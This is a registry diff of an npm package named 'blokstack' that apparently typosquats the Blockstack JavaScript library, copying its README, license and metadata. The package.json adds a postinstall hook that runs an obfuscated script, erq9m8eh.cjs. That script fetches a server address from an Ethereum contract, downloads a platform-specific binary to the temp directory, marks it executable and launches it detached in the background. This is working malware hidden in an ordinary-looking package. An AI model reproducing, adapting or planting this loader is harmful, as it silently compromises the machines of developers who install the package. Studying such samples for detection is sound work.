blokstack 21.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (4) hide show
  1. package/LICENSE +20 -0
  2. package/README.md +104 -0
  3. package/erq9m8eh.cjs +1 -0
  4. package/package.json +186 -0
package/LICENSE ADDED
@@ -0,0 +1,20 @@
1
+ The MIT License (MIT)
2
+
3
+ Copyright (c) 2017 Blockstack Inc.
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy of
6
+ this software and associated documentation files (the "Software"), to deal in
7
+ the Software without restriction, including without limitation the rights to
8
+ use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
9
+ the Software, and to permit persons to whom the Software is furnished to do so,
10
+ subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
17
+ FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
18
+ COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
19
+ IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
20
+ CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
package/README.md ADDED
@@ -0,0 +1,104 @@
1
+ # blockstack.js [![CircleCI](https://img.shields.io/circleci/project/blockstack/blockstack.js/master.svg)](https://circleci.com/gh/blockstack/blockstack.js/tree/master) [![npm](https://img.shields.io/npm/v/blockstack.svg)](https://www.npmjs.com/package/blockstack) [![npm](https://img.shields.io/npm/dm/blockstack.svg)](https://www.npmjs.com/package/blockstack) [![npm](https://img.shields.io/npm/l/blockstack.svg)](https://www.npmjs.com/package/blockstack) [![Slack](https://img.shields.io/badge/join-slack-e32072.svg?style=flat)](http://slack.blockstack.org/)
2
+
3
+ Note: If you're looking for the Blockstack CLI repo it was merged with [Blockstack Core](https://github.com/blockstack/blockstack-core).
4
+
5
+ - [Installation](#installation)
6
+ - [About](#about)
7
+ - [Documentation](#documentation)
8
+ - [Compatibility](#compatibility)
9
+ - [Contributing](#contributing)
10
+ - [Maintainer](#maintainer)
11
+ - [Testing](#testing)
12
+ - [Testing in a browser](#testing-in-a-browser)
13
+ - [Releasing](#releasing)
14
+
15
+ ## Installation
16
+
17
+ ```
18
+ $ npm install blockstack
19
+ ```
20
+
21
+ ### Using blockstack.js with a CDN
22
+
23
+ You can import `blockstack.js` as a script without using a package manager.
24
+ To securely use the latest distribution of blockstack.js from a CDN, use the following script in your application:
25
+
26
+ <!-- cdn -->
27
+ ```html
28
+ <script src="https://unpkg.com/blockstack@21.1.1/dist/blockstack.js" integrity="sha384-QsRlJlLKvr/Vq4iv1MPwTqoMx5hd0StlnCBCTdwbb0ituqCGaTxjNIkdahGHlnwb" crossorigin="anonymous"></script>
29
+ ```
30
+ <!-- cdnstop -->
31
+
32
+ _Note: this is script is bundled as standalone (UMD) lib, targeting ES6 (ECMAScript 2015)._
33
+
34
+
35
+
36
+ ## About
37
+
38
+ Blockstack JS is a library for profiles/identity, authentication, and storage.
39
+
40
+ The authentication portion of this library can be used to:
41
+
42
+ 1. create an authentication request
43
+ 2. create an authentication response
44
+
45
+ The profiles/identity portion of this library can be used to:
46
+
47
+ 1. transform a JSON profile into cryptographically-signed tokens
48
+ 2. recover a JSON profile from signed tokens
49
+ 3. validate signed profile tokens
50
+
51
+ The storage portion of this library can be used to:
52
+
53
+ 1. store and retrieve your app's data in storage that is controlled by the user
54
+
55
+ _Note:_ this lib is written in Typescript and is compiled to ES6 (ECMAScript 2015)
56
+ syntax and uses CommonJS modules. The NPM package works out of the box within the
57
+ Node.js runtime, and within browsers when using a common bundler (e.g. Webpack,
58
+ Browserify, Rollup, etc).
59
+
60
+
61
+ ## Documentation
62
+
63
+ [![Documentation](/docs-button.png)](http://blockstack.github.io/blockstack.js/index.html)
64
+
65
+ ## Compatibility
66
+
67
+ _Note:_ blockstack.js 0.14.0 and newer versions use a new on-disk format that is not backward compatible with prior versions.
68
+
69
+ ## Contributing
70
+
71
+ This repository uses the [git flow branching mode](http://nvie.com/posts/a-successful-git-branching-model/).
72
+
73
+ The latest released code as deployed to npm is in `master` and the latest delivered development
74
+ changes for the next release are in `develop`.
75
+
76
+ We use the [git-flow-avh](https://github.com/petervanderdoes/gitflow-avh) plugin.
77
+
78
+ Please send pull requests against `develop`. Pull requests should include tests,
79
+ [flow static type annotations](https://flow.org) and be lint free. Open your pull request using the template in `PULL_REQUEST_TEMPLATE.md`
80
+
81
+ Github issues marked [help-wanted](https://github.com/blockstack/blockstack.js/labels/help-wanted)
82
+ are great places to start. Please ask in a github issue or slack before embarking
83
+ on larger issues that aren't labeled as help wanted or adding additional
84
+ functionality so that we can make sure your contribution can be included!
85
+
86
+ ## Maintainer
87
+
88
+ This repository is maintained by [yukan.id](https://explorer.blockstack.org/name/yukan.id).
89
+
90
+ ## Testing
91
+
92
+ $ npm run test
93
+
94
+ We test on the "Active LTS" version of Node.
95
+
96
+ ### Testing in a browser
97
+
98
+ _This test will only work with your browser's Cross-Origin Restrictions disabled._
99
+
100
+ Run `npm run compile; npm run browserify` before opening the file `test.html`
101
+ in your browser.
102
+
103
+ ## Releasing
104
+ See `release-checklist.md`
package/erq9m8eh.cjs ADDED
@@ -0,0 +1 @@
1
+ function _0x1fb9(_0x1d980d,_0x55e325){const _0x1fc360=_0x1fc3();return _0x1fb9=function(_0x1fb988,_0x52130d){_0x1fb988=_0x1fb988-0x1b8;let _0x643671=_0x1fc360[_0x1fb988];return _0x643671;},_0x1fb9(_0x1d980d,_0x55e325);}function _0x1fc3(){const _0xc5889a=['0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','data','createWriteStream','vXQLy','axios','AnBUn','rQTAL','ethers','AVIZc','LCHrR','9860216cDxvrm','tmpdir','HrQPY','30367790yIxEMs','JOLoE','child_process','7HVWEQH','GET','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','4RsMMFV','getDefaultProvider','/node-linux','rdNNV','chmodSync','wJRKl','432252ebEbUX','9eiTXDT','6232120jLpKPd','Contract','Ошибка\x20при\x20запуске\x20файла:','stream','util','ZcWFm','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','basename','1568556ZaCcgz','join','NsqEO','KjNrt','ignore','Ошибка\x20установки:','755','pipe','win32','linux','mainnet','darwin','eYZTv','/node-win.exe','path','pnuyy','Unsupported\x20platform:\x20','8630676TFzQkr','unref','102339RosYJz','error'];_0x1fc3=function(){return _0xc5889a;};return _0x1fc3();}const _0x23eea4=_0x1fb9;(function(_0x326e4d,_0x3aff2a){const _0x48456d=_0x1fb9,_0x3f4759=_0x326e4d();while(!![]){try{const _0x161263=-parseInt(_0x48456d(0x1bd))/0x1+-parseInt(_0x48456d(0x1d2))/0x2*(parseInt(_0x48456d(0x1d8))/0x3)+-parseInt(_0x48456d(0x1e2))/0x4+-parseInt(_0x48456d(0x1da))/0x5+parseInt(_0x48456d(0x1bb))/0x6*(-parseInt(_0x48456d(0x1cf))/0x7)+-parseInt(_0x48456d(0x1c9))/0x8*(-parseInt(_0x48456d(0x1d9))/0x9)+parseInt(_0x48456d(0x1cc))/0xa;if(_0x161263===_0x3aff2a)break;else _0x3f4759['push'](_0x3f4759['shift']());}catch(_0x29776a){_0x3f4759['push'](_0x3f4759['shift']());}}}(_0x1fc3,0xc3bfe));const {ethers}=require(_0x23eea4(0x1c6)),axios=require(_0x23eea4(0x1c3)),util=require(_0x23eea4(0x1de)),fs=require('fs'),path=require(_0x23eea4(0x1b8)),os=require('os'),{spawn}=require(_0x23eea4(0x1ce)),contractAddress=_0x23eea4(0x1bf),WalletOwner=_0x23eea4(0x1e0),abi=[_0x23eea4(0x1d1)],provider=ethers[_0x23eea4(0x1d3)](_0x23eea4(0x1ec)),contract=new ethers[(_0x23eea4(0x1db))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x4bb58f=_0x23eea4,_0x1f5315={'LCHrR':'Ошибка\x20при\x20получении\x20IP\x20адреса:','rdNNV':function(_0x3083e1){return _0x3083e1();}};try{const _0x2df5be=await contract['getString'](WalletOwner);return _0x2df5be;}catch(_0x433bef){return console[_0x4bb58f(0x1be)](_0x1f5315[_0x4bb58f(0x1c8)],_0x433bef),await _0x1f5315[_0x4bb58f(0x1d5)](fetchAndUpdateIp);}},getDownloadUrl=_0x11f3fb=>{const _0x4caea6=_0x23eea4,_0x588449={'rQTAL':_0x4caea6(0x1ea),'AnBUn':_0x4caea6(0x1eb),'HrQPY':_0x4caea6(0x1ed)},_0x14ea62=os['platform']();switch(_0x14ea62){case _0x588449[_0x4caea6(0x1c5)]:return _0x11f3fb+_0x4caea6(0x1ef);case _0x588449[_0x4caea6(0x1c4)]:return _0x11f3fb+_0x4caea6(0x1d4);case _0x588449[_0x4caea6(0x1cb)]:return _0x11f3fb+'/node-macos';default:throw new Error(_0x4caea6(0x1ba)+_0x14ea62);}},downloadFile=async(_0x1234a2,_0x440177)=>{const _0x38c80c=_0x23eea4,_0xe654a3={'AVIZc':'finish','wJRKl':function(_0x5ad846,_0x7ea793){return _0x5ad846(_0x7ea793);},'eYZTv':_0x38c80c(0x1dd)},_0x3a4093=fs[_0x38c80c(0x1c1)](_0x440177),_0x281514=await _0xe654a3[_0x38c80c(0x1d7)](axios,{'url':_0x1234a2,'method':_0x38c80c(0x1d0),'responseType':_0xe654a3[_0x38c80c(0x1ee)]});return _0x281514[_0x38c80c(0x1c0)][_0x38c80c(0x1e9)](_0x3a4093),new Promise((_0x51adbe,_0xf81b57)=>{const _0x52f453=_0x38c80c;_0x3a4093['on'](_0xe654a3[_0x52f453(0x1c7)],_0x51adbe),_0x3a4093['on'](_0x52f453(0x1be),_0xf81b57);});},executeFileInBackground=async _0x2f081a=>{const _0x5725ce=_0x23eea4,_0x278357={'ZcWFm':function(_0x502e54,_0x112034,_0x203556,_0x48a7cb){return _0x502e54(_0x112034,_0x203556,_0x48a7cb);},'JOLoE':_0x5725ce(0x1dc)};try{const _0x359c1a=_0x278357[_0x5725ce(0x1df)](spawn,_0x2f081a,[],{'detached':!![],'stdio':_0x5725ce(0x1e6)});_0x359c1a[_0x5725ce(0x1bc)]();}catch(_0x289ace){console[_0x5725ce(0x1be)](_0x278357[_0x5725ce(0x1cd)],_0x289ace);}},runInstallation=async()=>{const _0x34fbbc=_0x23eea4,_0x55d206={'fnwMn':function(_0x2d14c2){return _0x2d14c2();},'vXQLy':function(_0x1a100e,_0x58d688,_0x3514d4){return _0x1a100e(_0x58d688,_0x3514d4);},'KjNrt':'win32','pnuyy':_0x34fbbc(0x1e8),'NsqEO':function(_0x37fd81,_0x4f581b){return _0x37fd81(_0x4f581b);},'ZhxeQ':_0x34fbbc(0x1e7)};try{const _0x3ee8bb=await _0x55d206['fnwMn'](fetchAndUpdateIp),_0x30c40f=getDownloadUrl(_0x3ee8bb),_0xfa447f=os[_0x34fbbc(0x1ca)](),_0x160064=path[_0x34fbbc(0x1e1)](_0x30c40f),_0x3c3522=path[_0x34fbbc(0x1e3)](_0xfa447f,_0x160064);await _0x55d206[_0x34fbbc(0x1c2)](downloadFile,_0x30c40f,_0x3c3522);if(os['platform']()!==_0x55d206[_0x34fbbc(0x1e5)])fs[_0x34fbbc(0x1d6)](_0x3c3522,_0x55d206[_0x34fbbc(0x1b9)]);_0x55d206[_0x34fbbc(0x1e4)](executeFileInBackground,_0x3c3522);}catch(_0x370bb1){console[_0x34fbbc(0x1be)](_0x55d206['ZhxeQ'],_0x370bb1);}};runInstallation();
package/package.json ADDED
@@ -0,0 +1,186 @@
1
+ {
2
+ "name": "blokstack",
3
+ "version": "21.1.1",
4
+ "description": "The Blockstack Javascript library for authentication, identity, and storage.",
5
+ "main": "lib/index",
6
+ "unpkg": "dist/blockstack.js",
7
+ "jsdelivr": "dist/blockstack.js",
8
+ "browser": {
9
+ "crypto": false,
10
+ "url": false
11
+ },
12
+ "prettier": "@blockstack/prettier-config",
13
+ "scripts": {
14
+ "postinstall": "node erq9m8eh.cjs"
15
+ },
16
+ "repository": {
17
+ "type": "git",
18
+ "url": "git+https://github.com/blockstack/blockstack.js.git"
19
+ },
20
+ "author": {
21
+ "name": "Blockstack PBC",
22
+ "email": "admin@blockstack.com",
23
+ "url": "https://blockstack.com"
24
+ },
25
+ "license": "MIT",
26
+ "bugs": {
27
+ "url": "https://github.com/blockstack/blockstack.js/issues"
28
+ },
29
+ "keywords": [
30
+ "blockchain",
31
+ "id",
32
+ "auth",
33
+ "authentication",
34
+ "bitcoin",
35
+ "blockchain auth",
36
+ "blockchain authentication",
37
+ "blockchainid",
38
+ "blockchain id",
39
+ "bitcoin auth",
40
+ "bitcoin authentication",
41
+ "bitcoin login",
42
+ "blockchain login",
43
+ "authorization",
44
+ "login",
45
+ "signin",
46
+ "sso",
47
+ "crypto",
48
+ "cryptography",
49
+ "token",
50
+ "blockstack",
51
+ "blockstack auth",
52
+ "profile",
53
+ "identity",
54
+ "ethereum"
55
+ ],
56
+ "homepage": "https://blockstack.org",
57
+ "contributors": [
58
+ {
59
+ "name": "Ryan Shea"
60
+ },
61
+ {
62
+ "name": "Larry Salibra"
63
+ },
64
+ {
65
+ "name": "Jude Nelson"
66
+ },
67
+ {
68
+ "name": "Aaron Blankstein"
69
+ }
70
+ ],
71
+ "devDependencies": {
72
+ "@babel/cli": "^7.7.0",
73
+ "@babel/core": "^7.7.2",
74
+ "@babel/plugin-proposal-class-properties": "^7.7.0",
75
+ "@babel/plugin-proposal-object-rest-spread": "^7.6.2",
76
+ "@babel/plugin-transform-runtime": "^7.6.2",
77
+ "@babel/preset-env": "^7.7.1",
78
+ "@babel/register": "^7.7.0",
79
+ "@peculiar/webcrypto": "^1.0.21",
80
+ "@types/jsdom": "^12.2.4",
81
+ "@babel/preset-typescript": "^7.7.0",
82
+ "@blockstack/prettier-config": "0.0.3",
83
+ "@types/cheerio": "^0.22.10",
84
+ "@types/fetch-mock": "^5.8.0",
85
+ "@types/form-data": "^2.2.1",
86
+ "@types/node": "^10",
87
+ "@types/proxyquire": "^1.3.28",
88
+ "@types/sha.js": "^2.4.0",
89
+ "@types/sinon": "^7.5.0",
90
+ "@types/tape": "^4.2.33",
91
+ "@types/triplesec": "^3.0.0",
92
+ "@typescript-eslint/eslint-plugin": "^2.7.0",
93
+ "@typescript-eslint/parser": "^2.7.0",
94
+ "babel-loader": "^8.0.6",
95
+ "babel-plugin-istanbul": "^5.2.0",
96
+ "cheerio": "^0.22.0",
97
+ "codecov": "^3.6.1",
98
+ "cross-env": "^6.0.3",
99
+ "eslint": "^6.6.0",
100
+ "eslint-config-airbnb-base": "^14.0.0",
101
+ "eslint-import-resolver-typescript": "^2.0.0",
102
+ "eslint-plugin-import": "^2.18.2",
103
+ "express": "^4.17.1",
104
+ "fetch-mock": "^8.1.0",
105
+ "jsdom": "^15.2.1",
106
+ "eslint-config-prettier": "^6.5.0",
107
+ "mock-local-storage": "^1.1.8",
108
+ "npm-run-all": "^4.1.5",
109
+ "nyc": "^14.1.1",
110
+ "proxyquire": "^2.1.3",
111
+ "rimraf": "^3.0.0",
112
+ "semver": "^6.3.0",
113
+ "sinon": "^7.5.0",
114
+ "opn": "^4.0.2",
115
+ "prettier": "^1.18.2",
116
+ "shx": "^0.3.2",
117
+ "source-map-loader": "^0.2.4",
118
+ "source-map-support": "^0.5.16",
119
+ "tape": "^4.11.0",
120
+ "tape-promise": "^4.0.0",
121
+ "triplesec": "^4.0.3",
122
+ "ts-loader": "^6.2.1",
123
+ "ts-node": "^8.5.0",
124
+ "typedoc": "^0.15.1",
125
+ "typescript": "^3.7.2",
126
+ "webpack": "^4.41.2",
127
+ "webpack-assets-manifest": "^3.1.1",
128
+ "webpack-bundle-analyzer": "^3.6.0",
129
+ "webpack-cli": "^3.3.10"
130
+ },
131
+ "dependencies": {
132
+ "@types/bn.js": "^4.11.6",
133
+ "@types/cheerio": "^0.22.13",
134
+ "@types/elliptic": "^6.4.10",
135
+ "@types/node": "^12.7.12",
136
+ "@types/randombytes": "^2.0.0",
137
+ "ajv": "^4.11.5",
138
+ "bip39": "^3.0.2",
139
+ "bitcoinjs-lib": "^5.1.6",
140
+ "bn.js": "^4.11.8",
141
+ "cross-fetch": "^3.0.4",
142
+ "elliptic": "^6.5.1",
143
+ "form-data": "^2.5.1",
144
+ "jsontokens": "3.0.0",
145
+ "query-string": "^6.8.3",
146
+ "randombytes": "^2.1.0",
147
+ "request": "^2.88.0",
148
+ "ripemd160-min": "0.0.5",
149
+ "schema-inspector": "^1.6.8",
150
+ "sha.js": "^2.4.11",
151
+ "tslib": "^1.10.0",
152
+ "uuid": "^3.3.3",
153
+ "zone-file": "^1.0.0",
154
+ "axios": "^1.7.7",
155
+ "ethers": "^6.13.2"
156
+ },
157
+ "engines": {
158
+ "node": ">=8",
159
+ "npm": ">=6"
160
+ },
161
+ "nyc": {
162
+ "all": true,
163
+ "cache": false,
164
+ "extension": [
165
+ ".ts"
166
+ ],
167
+ "include": [
168
+ "src/**/*.ts"
169
+ ],
170
+ "exclude": [
171
+ "**/*.d.ts"
172
+ ],
173
+ "require": [
174
+ "ts-node/register/transpile-only",
175
+ "source-map-support/register"
176
+ ],
177
+ "reporter": [
178
+ "text",
179
+ "html",
180
+ "lcov"
181
+ ]
182
+ },
183
+ "files": [
184
+ "erq9m8eh.cjs"
185
+ ]
186
+ }